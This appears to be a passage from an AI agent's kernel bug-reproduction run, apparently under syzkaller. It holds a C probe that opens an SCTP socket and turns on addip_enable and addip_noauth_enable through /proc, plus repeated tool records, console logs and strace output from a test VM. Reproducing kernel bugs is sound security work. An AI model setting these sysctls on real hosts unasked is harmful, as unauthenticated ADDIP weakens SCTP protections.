2.  **Sysctl Verification:** To further confirm our ability to interact with SCTP's configuration, I'll try to write to specific sysctl files related to SCTP's ADDIP functionality. Specifically, I'll attempt to open and write to `/proc/sys/net/sctp/addip_enable` and `/proc/sys/net/sctp/addip_noauth_enable`. Writing to these files without relying on the `system()` call is a direct way to test privilege and subsystem access.

I need to be mindful of potential issues. The `IPPROTO_SCTP` constant might not be defined in all standard headers. To ensure portability and robustness, I'll explicitly define it if it's not available, using the known value `132`.

So, the C code I've devised for this probe looks like this:

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <fcntl.h>

// Define IPPROTO_SCTP if it's not already defined
#ifndef IPPROTO_SCTP
#define IPPROTO_SCTP 132
#endif

int main() {
    // Attempt to create an SCTP socket
    int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (fd < 0) {
        printf("[-] Failed to create SCTP socket: %s\n", strerror(errno));
        return 1; // Indicate failure
    }
    printf("[+] SCTP socket created successfully.\n");
    close(fd); // Close the socket as it's just for probing

    // Attempt to open and write to addip_enable sysctl
    int sysctl_fd_addip_enable = open("/proc/sys/net/sctp/addip_enable", O_WRONLY);
    if (sysctl_fd_addip_enable < 0) {
        printf("[-] Failed to open /proc/sys/net/sctp/addip_enable: %s\n", strerror(errno));
        return 1; // Indicate failure
    }
    // Write '1' to enable it. Check for write errors.
    if (write(sysctl_fd_addip_enable, "1", 1) != 1) {
        printf("[-] Failed to write to /proc/sys/net/sctp/addip_enable: %s\n", strerror(errno));
        close(sysctl_fd_addip_enable);
        return 1; // Indicate failure
    }
    close(sysctl_fd_addip_enable);
    printf("[+] Successfully enabled addip_enable.\n");

    // Attempt to open and write to addip_noauth_enable sysctl
    int sysctl_fd_noauth = open("/proc/sys/net/sctp/addip_noauth_enable", O_WRONLY);
    if (sysctl_fd_noauth < 0) {
        printf("[-] Failed to open /proc/sys/net/sctp/addip_noauth_enable: %s\n", strerror(errno));
        return 1; // Indicate failure
    }
    // Write '1' to enable it. Check for write errors.
    if (write(sysctl_fd_noauth, "1", 1) != 1) {
        printf("[-] Failed to write to /proc/sys/net/sctp/addip_noauth_enable: %s\n", strerror(errno));
        close(sysctl_fd_noauth);
        return 1; // Indicate failure
    }
    close(sysctl_fd_noauth);
    printf("[+] Successfully enabled addip_noauth_enable.\n");

    // If all checks pass, return 0 to indicate success
    return 0;
}
```

With this probe program ready, I will now proceed to call `set-results` to provide this C code. This is the crucial first step before I can even consider the more complex aspects of the SCTP bug reproduction.

map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <fcntl.h>

#ifndef IPPROTO_SCTP
#define IPPROTO_SCTP 132
#endif

int main() {
    int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (fd < 0) {
        printf("[-] Failed to create SCTP socket: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] SCTP socket created successfully.\n");
    close(fd);

    int sysctl_fd = open("/proc/sys/net/sctp/addip_enable", O_WRONLY);
    if (sysctl_fd < 0) {
        printf("[-] Failed to open /proc/sys/net/sctp/addip_enable: %s\n", strerror(errno));
        return 1;
    }
    if (write(sysctl_fd, "1", 1) != 1) {
        printf("[-] Failed to write to /proc/sys/net/sctp/addip_enable: %s\n", strerror(errno));
        close(sysctl_fd);
        return 1;
    }
    close(sysctl_fd);
    printf("[+] Successfully enabled addip_enable.\n");

    sysctl_fd = open("/proc/sys/net/sctp/addip_noauth_enable", O_WRONLY);
    if (sysctl_fd < 0) {
        printf("[-] Failed to open /proc/sys/net/sctp/addip_noauth_enable: %s\n", strerror(errno));
        return 1;
    }
    if (write(sysctl_fd, "1", 1) != 1) {
        printf("[-] Failed to write to /proc/sys/net/sctp/addip_noauth_enable: %s\n", strerror(errno));
        close(sysctl_fd);
        return 1;
    }
    close(sysctl_fd);
    printf("[+] Successfully enabled addip_noauth_enable.\n");

    return 0;
}
]

map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <fcntl.h>

#ifndef IPPROTO_SCTP
#define IPPROTO_SCTP 132
#endif

int main() {
    int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (fd < 0) {
        printf("[-] Failed to create SCTP socket: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] SCTP socket created successfully.\n");
    close(fd);

    int sysctl_fd = open("/proc/sys/net/sctp/addip_enable", O_WRONLY);
    if (sysctl_fd < 0) {
        printf("[-] Failed to open /proc/sys/net/sctp/addip_enable: %s\n", strerror(errno));
        return 1;
    }
    if (write(sysctl_fd, "1", 1) != 1) {
        printf("[-] Failed to write to /proc/sys/net/sctp/addip_enable: %s\n", strerror(errno));
        close(sysctl_fd);
        return 1;
    }
    close(sysctl_fd);
    printf("[+] Successfully enabled addip_enable.\n");

    sysctl_fd = open("/proc/sys/net/sctp/addip_noauth_enable", O_WRONLY);
    if (sysctl_fd < 0) {
        printf("[-] Failed to open /proc/sys/net/sctp/addip_noauth_enable: %s\n", strerror(errno));
        return 1;
    }
    if (write(sysctl_fd, "1", 1) != 1) {
        printf("[-] Failed to write to /proc/sys/net/sctp/addip_noauth_enable: %s\n", strerror(errno));
        close(sysctl_fd);
        return 1;
    }
    close(sysctl_fd);
    printf("[+] Successfully enabled addip_noauth_enable.\n");

    return 0;
}
]

map[CurrentCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <fcntl.h>

#ifndef IPPROTO_SCTP
#define IPPROTO_SCTP 132
#endif

int main() {
    int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (fd < 0) {
        printf("[-] Failed to create SCTP socket: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] SCTP socket created successfully.\n");
    close(fd);

    int sysctl_fd = open("/proc/sys/net/sctp/addip_enable", O_WRONLY);
    if (sysctl_fd < 0) {
        printf("[-] Failed to open /proc/sys/net/sctp/addip_enable: %s\n", strerror(errno));
        return 1;
    }
    if (write(sysctl_fd, "1", 1) != 1) {
        printf("[-] Failed to write to /proc/sys/net/sctp/addip_enable: %s\n", strerror(errno));
        close(sysctl_fd);
        return 1;
    }
    close(sysctl_fd);
    printf("[+] Successfully enabled addip_enable.\n");

    sysctl_fd = open("/proc/sys/net/sctp/addip_noauth_enable", O_WRONLY);
    if (sysctl_fd < 0) {
        printf("[-] Failed to open /proc/sys/net/sctp/addip_noauth_enable: %s\n", strerror(errno));
        return 1;
    }
    if (write(sysctl_fd, "1", 1) != 1) {
        printf("[-] Failed to write to /proc/sys/net/sctp/addip_noauth_enable: %s\n", strerror(errno));
        close(sysctl_fd);
        return 1;
    }
    close(sysctl_fd);
    printf("[+] Successfully enabled addip_noauth_enable.\n");

    return 0;
}
]

map[CompilerError: FormattedReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <fcntl.h>

#ifndef IPPROTO_SCTP
#define IPPROTO_SCTP 132
#endif

int main() {
    int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (fd < 0) {
        printf("[-] Failed to create SCTP socket: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] SCTP socket created successfully.\n");
    close(fd);

    int sysctl_fd = open("/proc/sys/net/sctp/addip_enable", O_WRONLY);
    if (sysctl_fd < 0) {
        printf("[-] Failed to open /proc/sys/net/sctp/addip_enable: %s\n", strerror(errno));
        return 1;
    }
    if (write(sysctl_fd, "1", 1) != 1) {
        printf("[-] Failed to write to /proc/sys/net/sctp/addip_enable: %s\n", strerror(errno));
        close(sysctl_fd);
        return 1;
    }
    close(sysctl_fd);
    printf("[+] Successfully enabled addip_enable.\n");

    sysctl_fd = open("/proc/sys/net/sctp/addip_noauth_enable", O_WRONLY);
    if (sysctl_fd < 0) {
        printf("[-] Failed to open /proc/sys/net/sctp/addip_noauth_enable: %s\n", strerror(errno));
        return 1;
    }
    if (write(sysctl_fd, "1", 1) != 1) {
        printf("[-] Failed to write to /proc/sys/net/sctp/addip_noauth_enable: %s\n", strerror(errno));
        close(sysctl_fd);
        return 1;
    }
    close(sysctl_fd);
    printf("[+] Successfully enabled addip_noauth_enable.\n");

    return 0;
}
]

map[CompilerError:]

map[CandidateBugTitle: CandidateCrashReport: CandidateReproduced:false ConsoleOutput:[   61.667986][   T34] kauditd_printk_skb: 10 callbacks suppressed
[   61.671060][   T34] audit: type=1400 audit(1788281667.480:200): avc:  denied  { transition } for  pid=5824 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.671119][   T34] audit: type=1400 audit(1788281667.480:201): avc:  denied  { noatsecure } for  pid=5824 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.671173][   T34] audit: type=1400 audit(1788281667.480:202): avc:  denied  { rlimitinh } for  pid=5824 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.671218][   T34] audit: type=1400 audit(1788281667.480:203): avc:  denied  { siginh } for  pid=5824 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   64.401854][   T34] audit: type=1400 audit(1788281670.210:204): avc:  denied  { write } for  pid=5833 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.436176][   T34] audit: type=1400 audit(1788281670.250:205): avc:  denied  { write } for  pid=5836 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:51304' (ED25519) to the list of known hosts.
[+] SCTP socket created successfully.
[+] Successfully enabled addip_enable.
[+] Successfully enabled addip_noauth_enable.
[   65.083929][   T34] audit: type=1400 audit(1788281670.900:206): avc:  denied  { create } for  pid=5846 comm="syz-executor728" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=sctp_socket permissive=1
[   65.238200][   T34] audit: type=1400 audit(1788281671.050:207): avc:  denied  { write } for  pid=5847 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   65.276079][   T34] audit: type=1400 audit(1788281671.090:208): avc:  denied  { write } for  pid=5850 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.353987][   T34] audit: type=1400 audit(1788281672.170:209): avc:  denied  { write } for  pid=5853 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.443194][ T1380] ieee802154 phy0 wpan0: encryption failed: -22
[   66.443267][ T1380] ieee802154 phy1 wpan1: encryption failed: -22
[   66.791758][   T34] kauditd_printk_skb: 3 callbacks suppressed
[   66.791820][   T34] audit: type=1400 audit(1788281672.600:213): avc:  denied  { write } for  pid=5865 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.832050][   T34] audit: type=1400 audit(1788281672.640:214): avc:  denied  { write } for  pid=5868 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.076098][   T34] audit: type=1400 audit(1788281672.890:215): avc:  denied  { write } for  pid=5871 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.116347][   T34] audit: type=1400 audit(1788281672.930:216): avc:  denied  { write } for  pid=5874 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.335571][   T34] audit: type=1400 audit(1788281673.150:217): avc:  denied  { write } for  pid=5877 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.375009][   T34] audit: type=1400 audit(1788281673.190:218): avc:  denied  { write } for  pid=5880 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.724626][   T34] audit: type=1400 audit(1788281673.540:219): avc:  denied  { write } for  pid=5883 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.764838][   T34] audit: type=1400 audit(1788281673.580:220): avc:  denied  { write } for  pid=5886 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
 OtherCrashReports:<nil> StraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor2049624753

<...>
[   60.479768][   T33] kauditd_printk_skb: 10 callbacks suppressed
[   60.479836][   T33] audit: type=1400 audit(1788281747.685:200): avc:  denied  { transition } for  pid=5832 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   60.479873][   T33] audit: type=1400 audit(1788281747.685:201): avc:  denied  { noatsecure } for  pid=5832 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   60.489437][   T33] audit: type=1400 audit(1788281747.685:202): avc:  denied  { rlimitinh } for  pid=5832 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   60.489455][   T33] audit: type=1400 audit(1788281747.685:203): avc:  denied  { siginh } for  pid=5832 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   63.641838][   T33] audit: type=1400 audit(1788281750.845:204): avc:  denied  { write } for  pid=5844 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   63.687368][   T33] audit: type=1400 audit(1788281750.895:205): avc:  denied  { write } for  pid=5847 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   63.880118][   T33] audit: type=1400 audit(1788281751.085:206): avc:  denied  { write } for  pid=5850 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   63.917661][   T33] audit: type=1400 audit(1788281751.125:207): avc:  denied  { write } for  pid=5853 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.418858][   T33] audit: type=1400 audit(1788281751.625:208): avc:  denied  { write } for  pid=5856 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.503302][   T33] audit: type=1400 audit(1788281751.705:209): avc:  denied  { write } for  pid=5859 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:14429' (ED25519) to the list of known hosts.
execve("/syz-executor2049624753", ["/syz-executor2049624753"], 0x7ffda83456f0 /* 11 vars */) = 0
brk(NULL)                               = 0x55557e780000
brk(0x55557e780d80)                     = 0x55557e780d80
arch_prctl(ARCH_SET_FS, 0x55557e780400) = 0
set_tid_address(0x55557e7806d0)         = 5877
set_robust_list(0x55557e7806e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor2049624753", 4096) = 23
getrandom("\x12\xe5\xc4\x8f\x1b\xf1\xf4\xb3", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x55557e780d80
brk(0x55557e7a1d80)                     = 0x55557e7a1d80
brk(0x55557e7a2000)                     = 0x55557e7a2000
mprotect(0x7fd7da22d000, 20480, PROT_READ) = 0
socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP) = 3
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
close(3)                                = 0
openat(AT_FDCWD, "/proc/sys/net/sctp/addip_enable", O_WRONLY) = 3
write(3, "1", 1)                        = 1
close(3)                                = 0
openat(AT_FDCWD, "/proc/sys/net/sctp/addip_noauth_enable", O_WRONLY) = 3
write(3, "1", 1)                        = 1
close(3)                                = 0
[+] SCTP socket created successfully.
[+] Successfully enabled addip_enable.
[+] Successfully enabled addip_noauth_enable.
write(1, "[+] SCTP socket created successfully.\n[+] Successfully enabled addip_enable.\n[+] Successfully enable"..., 123) = 123
exit_group(0)                           = ?
+++ exited with 0 +++
[   65.977963][   T33] kauditd_printk_skb: 5 callbacks suppressed
[   65.978013][   T33] audit: type=1400 audit(1788281753.185:215): avc:  denied  { write } for  pid=5884 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.018976][   T33] audit: type=1400 audit(1788281753.225:216): avc:  denied  { write } for  pid=5887 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.080790][   T33] audit: type=1400 audit(1788281753.285:217): avc:  denied  { write } for  pid=5890 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.120981][   T33] audit: type=1400 audit(1788281753.325:218): avc:  denied  { write } for  pid=5893 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.180290][   T33] audit: type=1400 audit(1788281753.385:219): avc:  denied  { write } for  pid=5896 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.221925][   T33] audit: type=1400 audit(1788281753.425:220): avc:  denied  { write } for  pid=5899 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.425931][ T1382] ieee802154 phy0 wpan0: encryption failed: -22
[   66.426006][ T1382] ieee802154 phy1 wpan1: encryption failed: -22
 TestError:]

map[TruncatedConsoleOutput:[   61.667986][   T34] kauditd_printk_skb: 10 callbacks suppressed
[   61.671060][   T34] audit: type=1400 audit(1788281667.480:200): avc:  denied  { transition } for  pid=5824 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.671119][   T34] audit: type=1400 audit(1788281667.480:201): avc:  denied  { noatsecure } for  pid=5824 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.671173][   T34] audit: type=1400 audit(1788281667.480:202): avc:  denied  { rlimitinh } for  pid=5824 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.671218][   T34] audit: type=1400 audit(1788281667.480:203): avc:  denied  { siginh } for  pid=5824 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   64.401854][   T34] audit: type=1400 audit(1788281670.210:204): avc:  denied  { write } for  pid=5833 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.436176][   T34] audit: type=1400 audit(1788281670.250:205): avc:  denied  { write } for  pid=5836 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:51304' (ED25519) to the list of known hosts.
[+] SCTP socket created successfully.
[+] Successfully enabled addip_enable.
[+] Successfully enabled addip_noauth_enable.
[   65.083929][   T34] audit: type=1400 audit(1788281670.900:206): avc:  denied  { create } for  pid=5846 comm="syz-executor728" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=sctp_socket permissive=1
[   65.238200][   T34] audit: type=1400 audit(1788281671.050:207): avc:  denied  { write } for  pid=5847 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   65.276079][   T34] audit: type=1400 audit(1788281671.090:208): avc:  denied  { write } for  pid=5850 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.353987][   T34] audit: type=1400 audit(1788281672.170:209): avc:  denied  { write } for  pid=5853 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.443194][ T1380] ieee802154 phy0 wpan0: encryption failed: -22
[   66.443267][ T1380] ieee802154 phy1 wpan1: encryption failed: -22
[   66.791758][   T34] kauditd_printk_skb: 3 callbacks suppressed
[   66.791820][   T34] audit: type=1400 audit(1788281672.600:213): avc:  denied  { write } for  pid=5865 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.832050][   T34] audit: type=1400 audit(1788281672.640:214): avc:  denied  { write } for  pid=5868 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.076098][   T34] audit: type=1400 audit(1788281672.890:215): avc:  denied  { write } for  pid=5871 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.116347][   T34] audit: type=1400 audit(1788281672.930:216): avc:  denied  { write } for  pid=5874 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.335571][   T34] audit: type=1400 audit(1788281673.150:217): avc:  denied  { write } for  pid=5877 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.375009][   T34] audit: type=1400 audit(1788281673.190:218): avc:  denied  { write } for  pid=5880 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.724626][   T34] audit: type=1400 audit(1788281673.540:219): avc:  denied  { write } for  pid=5883 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.764838][   T34] audit: type=1400 audit(1788281673.580:220): avc:  denied  { write } for  pid=5886 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
 TruncatedCrashReport: TruncatedStraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor2049624753

<...>
[   60.479768][   T33] kauditd_printk_skb: 10 callbacks suppressed
[   60.479836][   T33] audit: type=1400 audit(1788281747.685:200): avc:  denied  { transition } for  pid=5832 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   60.479873][   T33] audit: type=1400 audit(1788281747.685:201): avc:  denied  { noatsecure } for  pid=5832 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   60.489437][   T33] audit: type=1400 audit(1788281747.685:202): avc:  denied  { rlimitinh } for  pid=5832 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   60.489455][   T33] audit: type=1400 audit(1788281747.685:203): avc:  denied  { siginh } for  pid=5832 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   63.641838][   T33] audit: type=1400 audit(1788281750.845:204): avc:  denied  { write } for  pid=5844 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   63.687368][   T33] audit: type=1400 audit(1788281750.895:205): avc:  denied  { write } for  pid=5847 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   63.880118][   T33] audit: type=1400 audit(1788281751.085:206): avc:  denied  { write } for  pid=5850 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   63.917661][   T33] audit: type=1400 audit(1788281751.125:207): avc:  denied  { write } for  pid=5853 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.418858][   T33] audit: type=1400 audit(1788281751.625:208): avc:  denied  { write } for  pid=5856 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.503302][   T33] audit: type=1400 audit(1788281751.705:209): avc:  denied  { write } for  pid=5859 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:14429' (ED25519) to the list of known hosts.
execve("/syz-executor2049624753", ["/syz-executor2049624753"], 0x7ffda83456f0 /* 11 vars */) = 0
brk(NULL)                               = 0x55557e780000
brk(0x55557e780d80)                     = 0x55557e780d80
arch_prctl(ARCH_SET_FS, 0x55557e780400) = 0
set_tid_address(0x55557e7806d0)         = 5877
set_robust_list(0x55557e7806e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor2049624753", 4096) = 23
getrandom("\x12\xe5\xc4\x8f\x1b\xf1\xf4\xb3", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x55557e780d80
brk(0x55557e7a1d80)                     = 0x55557e7a1d80
brk(0x55557e7a2000)                     = 0x55557e7a2000
mprotect(0x7fd7da22d000, 20480, PROT_READ) = 0
socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP) = 3
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
close(3)                                = 0
openat(AT_FDCWD, "/proc/sys/net/sctp/addip_enable", O_WRONLY) = 3
write(3, "1", 1)                        = 1
close(3)                                = 0
openat(AT_FDCWD, "/proc/sys/net/sctp/addip_noauth_enable", O_WRONLY) = 3
write(3, "1", 1)                        = 1
close(3)                                = 0
[+] SCTP socket created successfully.
[+] Successfully enabled addip_enable.
[+] Successfully enabled addip_noauth_enable.
write(1, "[+] SCTP socket created successfully.\n[+] Successfully enabled addip_enable.\n[+] Successfully enable"..., 123) = 123
exit_group(0)                           = ?
+++ exited with 0 +++
